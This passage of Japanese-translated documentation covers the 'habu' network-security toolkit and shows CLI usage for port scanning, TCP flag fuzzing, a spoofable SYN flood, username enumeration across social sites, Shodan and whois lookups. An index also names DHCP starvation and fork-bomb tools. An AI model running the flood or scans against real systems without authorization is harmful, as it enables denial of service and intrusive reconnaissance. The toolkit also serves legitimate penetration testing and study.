hostnames eze04s06-in-f4.1e100.net, gru09s17-in-f36.1e100.net
country_code US
region_code CA
city Mountain View
org Google
open_ports tcp/443, tcp/80
Options:
--cache / --no-cache
-v 詳細出力
--format [txt|csv|json|nmap] 出力形式
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.shodan.query [OPTIONS] QUERY
シンプルなshodan APIクライアント。
shodanクエリのJSON結果を表示します。
例:
$ habu.shodan 8.8.8.8
{
"hostnames": [
"google-public-dns-a.google.com"
],
"country_code": "US",
"org": "Google",
"data": [
{
"isp": "Google",
"transport": "udp",
"data": "Recursion: enabled",
"asn": "AS15169",
"port": 53,
"hostnames": [
"google-public-dns-a.google.com"
]
}
],
"ports": [
53
]
}
Options:
-c キャッシュ無効
-v 詳細出力
-o FILENAME 出力ファイル(デフォルト:stdout)
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.tcp.flags [OPTIONS] IP
異なるフラグを持つTCPパケットを送信し、どのような応答が返ってくるかを表示します。
TCP/IPスタックの実装や設定が、様々なフラグの組み合わせのパケットにどのように応答するかを分析するために使用できます。
例:
# habu.tcp_flags www.portantier.com
S -> SA
FS -> SA
FA -> R
SA -> R
デフォルトでは、コマンドはすべての可能なフラグの組み合わせを送信します。'-f'オプションを使用して、常に存在しなければならないフラグを指定できます(可能な組み合わせの数を減らします)。
また、'-r'オプションを使用して、表示する応答パケットに存在する必要があるフラグを指定できます。
次のコマンドでは、FIN(F)フラグが設定され、RST(R)フラグを含む応答を生成するすべての可能な組み合わせが表示されます。
例:
# habu.tcp_flags -f F -r R www.portantier.com
FPA -> R
FSPA -> R
FAU -> R
Options:
-p INTEGER 使用するポート(デフォルト:80)
-f TEXT 常に送信する必要があるフラグ(デフォルト:すべてのフラグでファズ)
-r TEXT 応答フラグでフィルタリング(デフォルト:すべての応答を表示)
-v 詳細
--first 一致する最初の応答で停止
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.tcp.isn [OPTIONS] IP
TCP接続を作成し、それぞれのTCP初期シーケンス番号を表示します。
$ sudo habu.tcp.isn -c 5 www.portantier.com
1962287220
1800895007
589617930
3393793979
469428558
注意:'-g'オプションを使用してグラフィカルな表現(matplotlibパッケージが必要)を取得し、ランダム性をよりよく理解することができます。
Options:
-p INTEGER 使用するポート(デフォルト:80)
-c INTEGER 送受信するパケット数(デフォルト:5)
-i TEXT 使用するインターフェース
-g グラフ(matplotlibが必要)
-v 詳細出力
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.tcp.scan [OPTIONS] IP
TCPポートスキャナー。
SYNフラグで応答を生成したポート、または(-aを使用した場合は)応答を生成したすべてのポートを表示します。
nmapと比較すると非常に基本的ですが、比較する必要はありませんか?
例:
# habu.tcp.scan -p 22,23,80,443 -s 1 45.77.113.133
22 S -> SA
80 S -> SA
443 S -> SA
Options:
-p TEXT 使用するポート(デフォルト:80)例:20-23,80,135
-i TEXT 使用するインターフェース
-f TEXT 使用するフラグ(デフォルト:S)
-s TEXT プローブ間の時間(デフォルト:すべて同時に送信)
-t INTEGER 各プローブのタイムアウト(デフォルト:2秒)
-a すべての応答を表示(デフォルト:SYNフラグのみ)
-v 詳細出力
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.tcp.synflood [OPTIONS] IP
多数のTCP接続を開始し、接続を維持します。
非常に古いシステムでは、これによりサービス拒否が発生する可能性があります。
参考:https://en.wikipedia.org/wiki/SYN_flood
例:
# sudo habu.tcp.synflood 172.16.0.10
.................
各ドットは送信されたパケットを表します。
'-2'と'-3'オプションを使用すると、レイヤ2/3アドレスを偽装できます。
これらを使用すると、各接続はランダムなレイヤ2(MAC)および/またはレイヤ3(IP)アドレスから送信されます。
'-c'オプションで作成する接続数を選択できます。デフォルトでは接続を停止しません。
注意:実際のIPアドレスからパケットを送信し、接続を半開きに保つ場合は、ファイアウォールでRSTパケットを送信しないように設定する必要があります。
Options:
-i TEXT 使用するインターフェース(デフォルト:自動)
-c INTEGER 送信するパケット数(デフォルト:無限)
-p INTEGER 使用するポート(デフォルト:135)
-2 レイヤ2/MACアドレスを偽装(デフォルト:いいえ)
-3 レイヤ3/IPアドレスを偽装(デフォルト:いいえ)
-v 詳細
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.traceroute [OPTIONS] IP
TCP traceroute。
転送中にTTLがゼロになったメッセージを取得して、宛先への経路を特定します。
注意:インターネット上では、デバイスへの有効な経路が複数存在する可能性があります。
例:
# habu.traceroute 45.77.113.133
IP / ICMP 192.168.0.1 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror
IP / ICMP 10.242.4.197 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding
IP / ICMP 200.32.127.98 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding
.
IP / ICMP 4.16.180.190 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror
.
IP / TCP 45.77.113.133:http > 192.168.0.5:ftp_data SA / Padding
注意:リモートシステムで開いているポートを使用することをお勧めします。
Options:
-p INTEGER 使用するポート(デフォルト:80)
-i TEXT 使用するインターフェース
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.upgrade [OPTIONS]
habuをアップグレード(https://github.com/fportantier/habu から)
Options:
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.usercheck [OPTIONS] USERNAME
指定されたユーザー名が様々なソーシャルネットワークや他の人気サイトに存在するかどうかを確認します。
$ habu.usercheck portantier
{
"aboutme": "https://about.me/portantier",
"disqus": "https://disqus.com/by/portantier/",
"github": "https://github.com/portantier/",
"ifttt": "https://ifttt.com/p/portantier",
"lastfm": "https://www.last.fm/user/portantier",
"medium": "https://medium.com/@portantier",
"pastebin": "https://pastebin.com/u/portantier",
"pinterest": "https://in.pinterest.com/portantier/",
"twitter": "https://twitter.com/portantier",
"vimeo": "https://vimeo.com/portantier"
}
Options:
-c キャッシュ無効
-v 詳細出力
-w 有効な各URLをウェブブラウザで開く
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.version [OPTIONS]
Options:
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.vhosts [OPTIONS] HOST
Bingを使用して、同じIPアドレスにホストされているウェブサイトを問い合わせます。
$ habu.vhosts www.telefonica.com
www.telefonica.com -> 212.170.36.79
[
'www.telefonica.es',
'universitas.telefonica.com',
'www.telefonica.com',
]
Options:
-c キャッシュ無効
-p INTEGER ページ数(デフォルト:10)
-f INTEGER 取得する最初の結果(デフォルト:1)
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.virustotal [OPTIONS] INPUT
VirusTotal https://www.virustotal.com/ にファイルを送信し、JSON形式でレポートを表示します。
注意:ファイルを送信する前に、ファイルが以前に分析されたかどうかを確認します(ファイルのsha256を送信)。レポートが存在する場合、送信は行われず、最後のレポートが表示されます。
$ habu.virustotal meterpreter.exe
Verifying if hash already submitted: f4826b219aed3ffdaa23db26cfae611979bf215984fc71a1c12f6397900cb70d
Sending file for analysis
Waiting/retrieving the report...
{
"md5": "0ddb015b5328eb4d0cc2b87c39c49686",
"permalink": "https://www.virustotal.com/file/c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23/analysis/1526850717/",
"positives": 49,
"resource": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23",
"response_code": 1,
"scan_date": "2018-05-20 21:11:57",
"scan_id": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23-1526850717",
"scans": {
"ALYac": {
"detected": true,
"result": "Trojan.CryptZ.Gen",
"update": "20180520",
"version": "1.1.1.5"
},
... The other scanners ...
},
"sha1": "5fa33cab1729480dd023b08f7b91a945c16d0a9e",
"sha256": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23",
"total": 67,
"verbose_msg": "Scan finished, information embedded"
}
Options:
-v 詳細出力
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.web.report [OPTIONS] [INPUT_FILE]
ウェブサイトのHTTPヘッダーを含むレポートを作成します。
オプションで、FirefoxまたはChromiumを使用してウェブサイトのスクリーンショットを取得します。
入力形式は1行に1つのURLです。
内容を含む'report'という名前のディレクトリを作成します。
$ echo https://www.portantier.com | habu.web.report
Options:
-v 詳細出力
-s 各ウェブサイトのスクリーンショットを取得
-b [firefox|chromium-browser] スクリーンショットに使用するブラウザ
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.web.screenshot [OPTIONS] URL
FirefoxまたはChromiumを使用してウェブサイトのスクリーンショットを取得します。
$ habu.web.screenshot https://www.portantier.com
Options:
-b [firefox|chromium-browser] スクリーンショットに使用するブラウザ
-o TEXT 出力ファイル(デフォルト:screenshot.png)
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.whois.domain [OPTIONS] DOMAIN
ドメイン名を確認するシンプルなwhoisクライアント。
例:
$ habu.whois.domain google.com
registrar MarkMonitor, Inc.
whois_server whois.markmonitor.com
creation_date 1997-09-15 04:00:00
expiration_date 2028-09-14 04:00:00
name_servers ns1.google.com, ns2.google.com, ns3.google.com, ns4.google.com
emails [email protected], [email protected]
dnssec unsigned
org Google LLC
country US
state CA
Options:
--json JSON形式で出力
--csv CSV形式で出力
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.whois.ip [OPTIONS] IP
IPアドレス(IPv4およびIPv6)を確認するシンプルなwhoisクライアント。
例:
$ habu.whois.ip 8.8.4.4
asn 15169
asn_registry arin
asn_cidr 8.8.4.0/24
asn_country_code US
asn_description GOOGLE - Google LLC, US
asn_date 1992-12-01
Options:
--json JSON形式で出力
--csv CSV形式で出力
--help このメッセージを表示して終了します。
crypto.fernet <#habucryptofernet>_crypto.fernet.genkey <#habucryptofernetgenkey>_crypto.gppref <#habucryptogppref>_crypto.hasher <#habucryptohasher>_crypto.xor <#habucryptoxor>_data.enrich <#habudataenrich>_data.extract.domain <#habudataextractdomain>_data.extract.email <#habudataextractemail>_data.extract.fqdn <#habudataextractfqdn>_data.extract.ipv4 <#habudataextractipv4>_data.filter <#habudatafilter>_data.select <#habudataselect>_dhcp.discover <#habudhcpdiscover>_dhcp.starvation <#habudhcpstarvation>_dns.lookup.forward <#habudnslookupforward>_dns.lookup.reverse <#habudnslookupreverse>_eicar <#habueicar>_forkbomb <#habuforkbomb>_fqdn.finder <#habufqdnfinder>_gateway.find <#habugatewayfind>_host <#habuhost>_http.headers <#habuhttpheaders>_http.options <#habuhttpoptions>_http.tech <#habuhttptech>_icmp.ping <#habuicmpping>_ip.asn <#habuipasn>_ip.geolocation <#habuipgeolocation>_ip.internal <#habuipinternal>_ip.public <#habuippublic>_karma <#habukarma>_karma.bulk <#habukarmabulk>_land <#habuland>_nc <#habunc>_net.contest <#habunetcontest>_net.interfaces <#habunetinterfaces>_nmap.excluded <#habunmapexcluded>_nmap.open <#habunmapopen>_nmap.ports <#habunmapports>_protoscan <#habuprotoscan>_server.ftp <#habuserverftp>_shodan <#habushodan>_shodan.query <#habushodanquery>_tcp.flags <#habutcpflags>_tcp.isn <#habutcpisn>_tcp.scan <#habutcpscan>_tcp.synflood <#habutcpsynflood>_traceroute <#habutraceroute>_upgrade <#habuupgrade>_usercheck <#habuusercheck>_version <#habuversion>_vhosts <#habuvhosts>_virustotal <#habuvirustotal>_web.report <#habuwebreport>_web.screenshot <#habuwebscreenshot>_whois.domain <#habuwhoisdomain>_whois.ip <#habuwhoisip>_